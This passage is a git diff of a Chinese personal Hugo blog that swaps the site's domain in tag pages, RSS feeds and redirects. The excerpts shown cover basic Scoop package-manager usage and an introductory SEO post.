href=https://chenjunlinabc.github.io/tags/scoop/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="scoop"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/scoop/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="scoop"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>scoop</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Scoop包管理器</h2></header><div class=entry-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
@@ -33,7 +33,7 @@
 更新软件
 scoop update git
 更新全部已安装软件
-scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+scoop update *...</p></div><footer class=entry-footer><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://chenjunlinabc.github.io/posts/150/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/scoop/index.xml b/tags/scoop/index.xml
index c16edad5..9d18ed98 100644
--- a/tags/scoop/index.xml
+++ b/tags/scoop/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>scoop on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/scoop/</link>
+    <link>https://chenjunlinabc.github.io/tags/scoop/</link>
     <description>Recent content in scoop on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 20 May 2022 22:10:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/scoop/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 20 May 2022 22:10:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/scoop/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Scoop包管理器</title>
-      <link>https://xiaochenabc123.github.io/posts/150/</link>
+      <link>https://chenjunlinabc.github.io/posts/150/</link>
       <pubDate>Fri, 20 May 2022 22:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/150/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/150/</guid>
       <description>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew
 scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）
 允许执行本地脚本权限
diff --git a/tags/scoop/page/1/index.html b/tags/scoop/page/1/index.html
index bde8307d..1a5193f5 100644
--- a/tags/scoop/page/1/index.html
+++ b/tags/scoop/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/scoop/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/scoop/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/scoop/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/scoop/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/scoop/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/scoop/"></head></html>
\ No newline at end of file
diff --git a/tags/seo/index.html b/tags/seo/index.html
index 0b5cd609..4079551f 100644
--- a/tags/seo/index.html
+++ b/tags/seo/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>SEO | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/seo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/seo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SEO"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/seo/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SEO"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>SEO</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>SEO | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/seo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/seo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SEO"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/seo/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SEO"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>SEO</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
 允许指定蜘蛛获取，*为通配符
@@ -23,7 +23,7 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://xiaochenabc123.github.io/posts/2/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://chenjunlinabc.github.io/posts/2/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/seo/index.xml b/tags/seo/index.xml
index faf5cf6d..771ca51c 100644
--- a/tags/seo/index.xml
+++ b/tags/seo/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>SEO on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/seo/</link>
+    <link>https://chenjunlinabc.github.io/tags/seo/</link>
     <description>Recent content in SEO on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 20 Mar 2021 11:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/seo/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 20 Mar 2021 11:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/seo/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解SEO</title>
-      <link>https://xiaochenabc123.github.io/posts/2/</link>
+      <link>https://chenjunlinabc.github.io/posts/2/</link>
       <pubDate>Sat, 20 Mar 2021 11:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/2/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/2/</guid>
       <description>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
diff --git a/tags/seo/page/1/index.html b/tags/seo/page/1/index.html
index ae698ee3..7f44f077 100644
--- a/tags/seo/page/1/index.html
+++ b/tags/seo/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/seo/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/seo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/seo/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/seo/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/seo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/seo/"></head></html>
\ No newline at end of file
diff --git a/tags/server/index.html b/tags/server/index.html
index c55ced53..c227050e 100644
--- a/tags/server/index.html
+++ b/tags/server/index.html
@@ -1,33 +1,19 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>server | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/server/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/server/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="server"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/server/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="server"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header 